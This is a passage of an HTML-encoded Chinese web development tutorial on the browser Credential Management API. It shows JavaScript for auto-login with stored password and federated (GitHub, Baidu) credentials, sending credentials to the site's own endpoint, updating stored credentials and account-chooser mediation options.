aria-hidden=\"true\"></i></a>&#x53D1;&#x9001;&#x51ED;&#x8BC1;&#x9A8C;&#x8BC1;&#x7528;&#x6237;</h3>\n<p>&#x83B7;&#x53D6;&#x7528;&#x6237;&#x51ED;&#x8BC1;&#x540E;&#xFF0C;&#x9996;&#x5148;&#x9700;&#x8981;&#x5224;&#x65AD;&#x662F;&#x5426;&#x83B7;&#x53D6;&#x51ED;&#x8BC1;&#x6210;&#x529F;&#x3002;&#x6210;&#x529F;&#x540E;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>Credentials.type</code> &#x65B9;&#x6CD5;&#x5224;&#x65AD;&#x5F53;&#x524D;&#x51ED;&#x8BC1;&#x7684;&#x7C7B;&#x578B;&#xFF0C;&#x53EF;&#x80FD;&#x7684;&#x53D6;&#x503C;&#x4E3A; <code>password</code> &#x548C; <code>federated</code>&#xFF0C;&#x5206;&#x522B;&#x5BF9;&#x5E94;&#x5BC6;&#x7801;&#x51ED;&#x8BC1;&#x548C;&#x8054;&#x5408;&#x51ED;&#x8BC1;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x6839;&#x636E;&#x4E0D;&#x540C;&#x7C7B;&#x578B;&#x8BBE;&#x8BA1;&#x4E0D;&#x540C;&#x7684;&#x51ED;&#x8BC1;&#x53D1;&#x9001;&#x903B;&#x8F91;&#xFF0C;&#x540C;&#x65F6;&#x5BF9;&#x4E8E;&#x8054;&#x5408;&#x51ED;&#x8BC1;&#xFF0C;&#x5219;&#x53EF;&#x4EE5;&#x8FDB;&#x4E00;&#x6B65;&#x901A;&#x8FC7; <code>provider</code> &#x5C5E;&#x6027;&#x533A;&#x5206;&#x4E0D;&#x540C;&#x7B2C;&#x4E09;&#x65B9;&#x8D26;&#x53F7;&#x7684;&#x767B;&#x5F55;&#x903B;&#x8F91;&#x3002;</p>\n<p>&#x5728;&#x793A;&#x4F8B;&#x6587;&#x4EF6; <code>public/script/index.js</code> &#x4E2D;&#x53EF;&#x4EE5;&#x67E5;&#x770B;&#x81EA;&#x52A8;&#x767B;&#x5F55;&#x76F8;&#x5173;&#x7684;&#x903B;&#x8F91;&#xFF0C;&#x5305;&#x62EC;&#x83B7;&#x53D6;&#x7528;&#x6237;&#x51ED;&#x8BC1;&#x548C;&#x53D1;&#x9001;&#x51ED;&#x8BC1;&#x7684;&#x8FC7;&#x7A0B;&#xFF0C;&#x540C;&#x65F6;&#x652F;&#x6301; password &#x548C; federated &#x4E24;&#x79CD;&#x65B9;&#x5F0F;&#xFF0C;&#x5173;&#x4E8E;&#x4F7F;&#x7528;&#x8054;&#x5408;&#x51ED;&#x8BC1;&#x767B;&#x5F55;&#x5728;&#x4E0B;&#x6587;&#x4F1A;&#x5F88;&#x5FEB;&#x63D0;&#x5230;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token keyword\">function</span> <span class=\"token function\">autoLogin</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>window<span class=\"token punctuation\">.</span>PasswordCredential <span class=\"token operator\">||</span> window<span class=\"token punctuation\">.</span>FederatedCredential<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> navigator<span class=\"token punctuation\">.</span>credentials<span class=\"token punctuation\">.</span><span class=\"token function\">get</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n      password<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">,</span>\n      federated<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n        providers<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">[</span><span class=\"token string\">&apos;https://github.com&apos;</span><span class=\"token punctuation\">]</span>\n      <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n      medition<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;silent&apos;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">cred</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>cred<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">switch</span> <span class=\"token punctuation\">(</span>cred<span class=\"token punctuation\">.</span>type<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n          <span class=\"token keyword\">case</span> <span class=\"token string\">&apos;password&apos;</span><span class=\"token punctuation\">:</span>\n            <span class=\"token keyword\">return</span> <span class=\"token function\">loginWithPassword</span><span class=\"token punctuation\">(</span>cred<span class=\"token punctuation\">)</span>\n          <span class=\"token keyword\">case</span> <span class=\"token string\">&apos;federated&apos;</span><span class=\"token punctuation\">:</span>\n            <span class=\"token keyword\">switch</span> <span class=\"token punctuation\">(</span>cred<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n              <span class=\"token keyword\">case</span> <span class=\"token string\">&apos;https://github.com&apos;</span><span class=\"token punctuation\">:</span>\n                <span class=\"token keyword\">return</span> <span class=\"token function\">loginWithGithubAccount</span><span class=\"token punctuation\">(</span>cred<span class=\"token punctuation\">)</span>\n            <span class=\"token punctuation\">}</span>\n        <span class=\"token punctuation\">}</span>\n      <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">res</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>res<span class=\"token punctuation\">.</span>status <span class=\"token operator\">===</span> <span class=\"token number\">200</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;login error&apos;</span><span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5BF9;&#x4E8E;&#x53D1;&#x9001;&#x51ED;&#x8BC1;&#xFF0C;&#x5E76;&#x6CA1;&#x6709;&#x592A;&#x591A;&#x8981;&#x6C42;&#xFF0C;&#x4E00;&#x822C;&#x6765;&#x8BF4;&#xFF0C;&#x53EA;&#x8981;&#x662F;&#x5F02;&#x6B65;&#x53D1;&#x9001;&#x5373;&#x53EF;&#xFF0C;&#x6BD4;&#x5982; <code>AJAX</code>&#x3001;<code>Fetch API</code> &#x90FD;&#x53EF;&#x4EE5;&#xFF0C;&#x672C;&#x8282;&#x793A;&#x4F8B;&#x4E2D;&#x4EE5;&#x5BC6;&#x7801;&#x51ED;&#x8BC1;&#x548C; Fetch API &#x4E3A;&#x4F8B;&#x3002;<code>PasswordCredentials</code> &#x548C; <code>FederatedCredentials</code> &#x5B9E;&#x4F8B;&#x5BF9;&#x8C61;&#x90FD;&#x53EF;&#x4EE5;&#x8BBF;&#x95EE;&#x5230;&#x751F;&#x6210;&#x51ED;&#x8BC1;&#x65F6;&#x6240;&#x4F20;&#x5165;&#x7684;&#x53C2;&#x6570;&#xFF0C;&#x56E0;&#x6B64;&#x53EF;&#x4EE5;&#x50CF;&#x6B63;&#x5E38;&#x5BF9;&#x8C61;&#x90A3;&#x6837;&#x8BFB;&#x53D6;&#x5C5E;&#x6027;&#xFF0C;&#x5E76;&#x6784;&#x9020;&#x51FA;&#x5BF9;&#x5E94;&#x7684;&#x8EAB;&#x4EFD;&#x8BA4;&#x8BC1;&#x8BF7;&#x6C42;&#x53C2;&#x6570;&#x5373;&#x53EF;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">loginWithPassword</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">cred</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> form <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">FormData</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  form<span class=\"token punctuation\">.</span><span class=\"token function\">append</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;email&apos;</span><span class=\"token punctuation\">,</span> cred<span class=\"token punctuation\">.</span>id<span class=\"token punctuation\">)</span>\n  form<span class=\"token punctuation\">.</span><span class=\"token function\">append</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;password&apos;</span><span class=\"token punctuation\">,</span> cred<span class=\"token punctuation\">.</span>password<span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">return</span> <span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/auth/password&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n    method<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;POST&apos;</span><span class=\"token punctuation\">,</span>\n    credentials<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;include&apos;</span><span class=\"token punctuation\">,</span>\n    body<span class=\"token punctuation\">:</span> form\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5728;&#x5DF2;&#x4FDD;&#x5B58;&#x51ED;&#x8BC1;&#x7684;&#x793A;&#x4F8B;&#x4E2D;&#x70B9;&#x51FB;&#x9000;&#x51FA;&#xFF0C;&#x9000;&#x51FA;&#x767B;&#x5F55;&#x540E;&#x91CD;&#x65B0;&#x70B9;&#x51FB;&#x9996;&#x9875;&#x7684;&#x767B;&#x5F55;&#x6309;&#x94AE;&#xFF0C;&#x6B64;&#x65F6;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x5F39;&#x51FA;&#x7C7B;&#x4F3C;&#x4E0B;&#x56FE;&#x7684;&#x63D0;&#x793A;&#xFF0C;&#x4E0D;&#x9700;&#x8981;&#x518D;&#x8DF3;&#x8F6C;&#x81F3;&#x767B;&#x5F55;&#x9875;&#x8F93;&#x5165;&#x5BC6;&#x7801;&#xFF0C;&#x5C31;&#x767B;&#x5F55;&#x6210;&#x529F;&#x5E76;&#x66F4;&#x65B0;&#x9996;&#x9875;&#x767B;&#x5F55;&#x72B6;&#x6001;&#x3002;</p>\n<p><img src=\"img/auto-login-tips.jpg\" alt=\"&#x63D0;&#x793A;&#x7528;&#x6237;&#x6B63;&#x5728;&#x767B;&#x5F55;\"></p>\n<p>&#x53D1;&#x9001;&#x5230;&#x670D;&#x52A1;&#x5668;&#x7AEF;&#x6821;&#x9A8C;&#x7684;&#x51ED;&#x8BC1;&#x6709;&#x53EF;&#x80FD;&#x4F1A;&#x5B58;&#x5728;&#x8BA4;&#x8BC1;&#x5931;&#x8D25;&#x7684;&#x60C5;&#x51B5;&#xFF0C;&#x53D1;&#x751F;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x7684;&#x539F;&#x56E0;&#x4E00;&#x822C;&#x662F;&#x5BC6;&#x7801;&#x9700;&#x8981;&#x66F4;&#x65B0;&#xFF0C;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x5728;&#x8BA4;&#x8BC1;&#x5931;&#x8D25;&#x65F6;&#x53CA;&#x65F6;&#x5C55;&#x73B0;&#x767B;&#x5F55;&#x8868;&#x5355;&#xFF0C;&#x8BA9;&#x7528;&#x6237;&#x91CD;&#x65B0;&#x586B;&#x5199;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x4FE1;&#x606F;&#xFF0C;&#x91CD;&#x65B0;&#x6821;&#x9A8C;&#xFF0C;&#x5E76;&#x66F4;&#x65B0;&#x5B58;&#x50A8;&#x7684;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x3002;</p>\n<h2 id=\"&#x7B2C;&#x4E09;&#x65B9;&#x8D26;&#x53F7;&#x767B;&#x5F55;\"><a name=\"&#x7B2C;&#x4E09;&#x65B9;&#x8D26;&#x53F7;&#x767B;&#x5F55;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7B2C;&#x4E09;&#x65B9;&#x8D26;&#x53F7;&#x767B;&#x5F55;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7B2C;&#x4E09;&#x65B9;&#x8D26;&#x53F7;&#x767B;&#x5F55;\" class=\"plugin-anchor\" href=\"#&#x7B2C;&#x4E09;&#x65B9;&#x8D26;&#x53F7;&#x767B;&#x5F55;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7B2C;&#x4E09;&#x65B9;&#x8D26;&#x53F7;&#x767B;&#x5F55;</h2>\n<p>&#x7528;&#x6237;&#x5E0C;&#x671B;&#x4F7F;&#x7528;&#x7B2C;&#x4E09;&#x65B9;&#x8D26;&#x53F7;&#x767B;&#x5F55;&#x7684;&#x60C5;&#x51B5;&#x8D8A;&#x6765;&#x8D8A;&#x666E;&#x904D;&#xFF0C;&#x5982;&#x679C;&#x7F51;&#x7AD9;&#x767B;&#x5F55;&#x8868;&#x5355;&#x652F;&#x6301;&#x4F7F;&#x7528;&#x7B2C;&#x4E09;&#x65B9;&#x8D26;&#x6237;&#x767B;&#x5F55;&#xFF0C;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x8054;&#x5408;&#x51ED;&#x8BC1;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x5148;&#x901A;&#x8FC7; <code>FederatedCredential</code> &#x5BF9;&#x8C61;&#x6784;&#x9020;&#x5E76;&#x5B58;&#x50A8;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x3002;</p>\n<p>&#x521B;&#x5EFA;&#x8054;&#x5408;&#x767B;&#x5F55;&#x51ED;&#x8BC1;&#x4E0E;&#x5BC6;&#x7801;&#x51ED;&#x8BC1;&#x7C7B;&#x4F3C;&#xFF0C;&#x5176;&#x4E2D; <code>id</code> &#x548C; <code>provider</code> &#x4E3A;&#x5FC5;&#x586B;&#x5B57;&#x6BB5;&#xFF0C;&#x5176;&#x4E2D; <code>id</code> &#x4E3A;&#x6807;&#x8BC6;&#x8D26;&#x6237;&#x7684;&#x6807;&#x5FD7;&#xFF0C;&#x53EF;&#x4EE5;&#x662F;&#x7528;&#x6237;&#x7684; email&#x3001;username &#x7B49;&#x7B49;&#x80FD;&#x591F;&#x552F;&#x4E00;&#x6807;&#x8BC6;&#x7528;&#x6237;&#x7684;&#x5C5E;&#x6027;&#x503C;&#x3002;&#x901A;&#x5E38;&#x7B2C;&#x4E09;&#x65B9;&#x8D26;&#x6237;&#x767B;&#x5F55;&#x4F7F;&#x7528; OAuth2.0 &#x7B49;&#x65B9;&#x5F0F;&#x6388;&#x6743;&#xFF0C;&#x4E0D;&#x80FD;&#x76F4;&#x63A5;&#x7528; assess_token &#x7B49;&#x5177;&#x6709;&#x65F6;&#x6548;&#x6027;&#x7684;&#x503C;&#x4F5C;&#x4E3A; id&#xFF0C;&#x9700;&#x8981;&#x505A;&#x597D; id &#x4E0E; assess_token &#x7684;&#x6620;&#x5C04;&#x5173;&#x7CFB;&#x3002;<code>provider</code> &#x4E3A;&#x7B2C;&#x4E09;&#x65B9;&#x8D26;&#x53F7;&#x63D0;&#x4F9B;&#x65B9;&#xFF0C;&#x9700;&#x8981;&#x586B;&#x5165;&#x7B26;&#x5408; URL &#x6821;&#x9A8C;&#x89C4;&#x5219;&#x7684;&#x8D26;&#x53F7;&#x63D0;&#x4F9B;&#x65B9;&#x7F51;&#x5740;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token keyword\">let</span> cred <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">FederatedCredential</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  id<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;example@baidu.com&apos;</span><span class=\"token punctuation\">,</span>\n  provider<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;https://www.baidu.com&apos;</span><span class=\"token punctuation\">,</span>\n  name<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&#x8DEF;&#x4EBA;&#x7532;&apos;</span><span class=\"token punctuation\">,</span>\n  iconURL<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;https://path/to/icon.png&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\nnavigator<span class=\"token punctuation\">.</span>credentials<span class=\"token punctuation\">.</span><span class=\"token function\">store</span><span class=\"token punctuation\">(</span>cred<span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">let</span> fedCred <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> navigator<span class=\"token punctuation\">.</span>credentials<span class=\"token punctuation\">.</span><span class=\"token function\">create</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  federated<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n    id<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;example@baidu.com&apos;</span><span class=\"token punctuation\">,</span>\n    provider<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;https://www.baidu.com&apos;</span><span class=\"token punctuation\">,</span>\n    name<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&#x8DEF;&#x4EBA;&#x7532;&apos;</span><span class=\"token punctuation\">,</span>\n    iconURL<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;https://path/to/icon.png&apos;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4E00;&#x65E6;&#x6D4F;&#x89C8;&#x5668;&#x5B58;&#x50A8;&#x4E86;&#x7F51;&#x7AD9;&#x7684;&#x7B2C;&#x4E09;&#x65B9;&#x767B;&#x5F55;&#x51ED;&#x8BC1;&#xFF0C;&#x7528;&#x6237;&#x518D;&#x6B21;&#x767B;&#x5F55;&#x7F51;&#x7AD9;&#x65F6;&#xFF0C;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x83B7;&#x53D6;&#x7528;&#x6237;&#x51ED;&#x8BC1;&#x8FDB;&#x884C;&#x9A8C;&#x8BC1;&#xFF0C;&#x5B9E;&#x73B0;&#x53EA;&#x9700;&#x8981;&#x70B9;&#x51FB;&#x201C;&#x4F7F;&#x7528; Github &#x8D26;&#x53F7;&#x767B;&#x5F55;&#x201D;&#x7684;&#x8868;&#x5355;&#x6309;&#x94AE;&#x5C31;&#x76F4;&#x63A5;&#x5B8C;&#x6210;&#x4E86;&#x7528;&#x6237;&#x767B;&#x5F55;&#x3002;</p>\n<p>&#x540C;&#x65F6;&#x6211;&#x4EEC;&#x4E5F;&#x53EF;&#x4EE5;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF0C;&#x6269;&#x5C55;&#x652F;&#x6301;&#x591A;&#x4E2A;&#x7B2C;&#x4E09;&#x65B9;&#x8D26;&#x6237;&#x767B;&#x5F55;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\">navigator<span class=\"token punctuation\">.</span>credentials<span class=\"token punctuation\">.</span><span class=\"token function\">get</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  password<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">,</span>\n  federated<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n    providers<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">[</span><span class=\"token string\">&apos;https://www.baidu.com&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token string\">&apos;https://github.com&apos;</span><span class=\"token punctuation\">]</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">cred</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>cred<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">switch</span> <span class=\"token punctuation\">(</span>cred<span class=\"token punctuation\">.</span>type<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">case</span> <span class=\"token string\">&apos;password&apos;</span><span class=\"token punctuation\">:</span>\n        <span class=\"token comment\">// PasswordCredential &#x51ED;&#x8BC1;&#x5904;&#x7406;</span>\n        <span class=\"token keyword\">return</span> <span class=\"token function\">loginWithPassword</span><span class=\"token punctuation\">(</span>cred<span class=\"token punctuation\">)</span>\n      <span class=\"token keyword\">case</span> <span class=\"token string\">&apos;federated&apos;</span><span class=\"token punctuation\">:</span>\n        <span class=\"token comment\">// FederatedCredential &#x51ED;&#x8BC1;&#x5904;&#x7406;</span>\n        <span class=\"token keyword\">switch</span> <span class=\"token punctuation\">(</span>cred<span class=\"token punctuation\">.</span>provider<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n          <span class=\"token keyword\">case</span> <span class=\"token string\">&apos;https://www.baidu.com&apos;</span><span class=\"token punctuation\">:</span>\n            <span class=\"token comment\">// &#x8C03;&#x8D77;&#x767E;&#x5EA6;&#x7B2C;&#x4E09;&#x65B9;&#x767B;&#x5F55;</span>\n            <span class=\"token keyword\">return</span> <span class=\"token function\">loginWithBaiduAccount</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n          <span class=\"token keyword\">case</span> <span class=\"token string\">&apos;https://github.com&apos;</span><span class=\"token punctuation\">:</span>\n            <span class=\"token comment\">// &#x8C03;&#x8D77; github &#x7B2C;&#x4E09;&#x65B9;&#x767B;&#x5F55;</span>\n            <span class=\"token keyword\">return</span> <span class=\"token function\">loginWithGithubAccount</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"&#x4FEE;&#x6539;&#x51ED;&#x8BC1;&#x4FE1;&#x606F;\"><a name=\"&#x4FEE;&#x6539;&#x51ED;&#x8BC1;&#x4FE1;&#x606F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4FEE;&#x6539;&#x51ED;&#x8BC1;&#x4FE1;&#x606F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4FEE;&#x6539;&#x51ED;&#x8BC1;&#x4FE1;&#x606F;\" class=\"plugin-anchor\" href=\"#&#x4FEE;&#x6539;&#x51ED;&#x8BC1;&#x4FE1;&#x606F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4FEE;&#x6539;&#x51ED;&#x8BC1;&#x4FE1;&#x606F;</h2>\n<p>&#x5F53;&#x7528;&#x6237;&#x7684;&#x5BC6;&#x7801;&#x4FEE;&#x6539;&#x4E4B;&#x540E;&#xFF0C;&#x5B58;&#x50A8;&#x7684;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x5C06;&#x4F1A;&#x5931;&#x6548;&#xFF0C;&#x9700;&#x8981;&#x53CA;&#x65F6;&#x8FDB;&#x884C;&#x66F4;&#x65B0;&#x3002;&#x5728;&#x5177;&#x4F53;&#x5B9E;&#x73B0;&#x4E0A;&#x53EA;&#x9700;&#x8981;&#x8C03;&#x7528; <code>navigator.credentials.store(cred)</code> &#x8FDB;&#x884C;&#x65B0;&#x51ED;&#x8BC1;&#x5B58;&#x50A8;&#x5373;&#x53EF;&#xFF0C;&#x6B64;&#x65F6;&#x9875;&#x9762;&#x4F1A;&#x5F39;&#x51FA;&#x51ED;&#x8BC1;&#x66F4;&#x65B0;&#x63D0;&#x793A;&#x5BF9;&#x8BDD;&#x6846;&#xFF0C;&#x53EA;&#x6709;&#x5F53;&#x7528;&#x6237;&#x540C;&#x610F;&#x65F6;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x624D;&#x4F1A;&#x66F4;&#x65B0;&#x6210;&#x529F;&#x3002;&#x5BF9;&#x4E8E; <code>PasswordCredential</code> &#x7C7B;&#x578B;&#x7684;&#x51ED;&#x8BC1;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x6839;&#x636E; <code>id</code> &#x6307;&#x5B9A;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x4FE1;&#x606F;&#x8FDB;&#x884C;&#x8986;&#x76D6;&#xFF1B;<code>FederatedCredential</code> &#x5219;&#x4F1A;&#x6839;&#x636E; <code>provider</code> &#x548C; <code>id</code> &#x6307;&#x5B9A;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x4FE1;&#x606F;&#x8FDB;&#x884C;&#x8986;&#x76D6;&#x3002;</p>\n<h2 id=\"&#x4F7F;&#x7528;&#x8D26;&#x6237;&#x9009;&#x62E9;&#x5668;&#x767B;&#x5F55;\"><a name=\"&#x4F7F;&#x7528;&#x8D26;&#x6237;&#x9009;&#x62E9;&#x5668;&#x767B;&#x5F55;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4F7F;&#x7528;&#x8D26;&#x6237;&#x9009;&#x62E9;&#x5668;&#x767B;&#x5F55;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4F7F;&#x7528;&#x8D26;&#x6237;&#x9009;&#x62E9;&#x5668;&#x767B;&#x5F55;\" class=\"plugin-anchor\" href=\"#&#x4F7F;&#x7528;&#x8D26;&#x6237;&#x9009;&#x62E9;&#x5668;&#x767B;&#x5F55;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4F7F;&#x7528;&#x8D26;&#x6237;&#x9009;&#x62E9;&#x5668;&#x767B;&#x5F55;</h2>\n<p>&#x4E00;&#x4E2A;&#x7F51;&#x7AD9;&#x7528;&#x6237;&#x53EF;&#x80FD;&#x62E5;&#x6709;&#x591A;&#x4E2A;&#x8D26;&#x6237;&#xFF0C;&#x5728;&#x767B;&#x5F55;&#x65F6;&#x76F4;&#x63A5;&#x63D0;&#x4F9B;&#x8D26;&#x6237;&#x9009;&#x62E9;&#x5668;&#x4E5F;&#x53EF;&#x4EE5;&#x8DF3;&#x8FC7;&#x4F20;&#x7EDF;&#x7684;&#x8868;&#x5355;&#x767B;&#x5F55;&#x65B9;&#x5F0F;&#x3002;&#x4F7F;&#x7528;&#x8D26;&#x53F7;&#x9009;&#x62E9;&#x5668;&#x767B;&#x5F55;&#x7684;&#x65B9;&#x6CD5;&#x4E0E;&#x81EA;&#x52A8;&#x767B;&#x5F55;&#x4E00;&#x81F4;&#x3002;&#x5F53;&#x7528;&#x6237;&#x70B9;&#x51FB;&#x767B;&#x5F55;&#x6309;&#x94AE;&#x65F6;&#xFF0C;&#x8C03;&#x7528; <code>navigator.credentials.get()</code> &#x65B9;&#x6CD5;&#xFF0C;&#x5E76;&#x901A;&#x8FC7;<code>mediation</code> &#x8BBE;&#x5B9A;&#x8D26;&#x53F7;&#x9009;&#x62E9;&#x5668;&#x7684;&#x5C55;&#x73B0;&#x65B9;&#x5F0F;&#x4E3A;<code>optional</code> &#x6216; <code>required</code>&#x3002;</p>\n<p> <code>mediation</code> &#x8BBE;&#x7F6E;&#x4E3A; <code>required</code> &#x65F6;&#xFF0C;&#x5F53;&#x7528;&#x6237;&#x767B;&#x5F55;&#x65F6;&#xFF0C;&#x8D26;&#x6237;&#x9009;&#x62E9;&#x5668;&#x6BCF;&#x6B21;&#x90FD;&#x4F1A;&#x5C55;&#x73B0;&#x3002;&#x800C;&#x5982;&#x679C;&#x91C7;&#x7528; mediation &#x4E3A; <code>optional</code> &#x7684;&#x6A21;&#x5F0F;&#x83B7;&#x53D6;&#x51ED;&#x8BC1;&#xFF0C;&#x5373; <code>navigator.credentials.get({mediation: 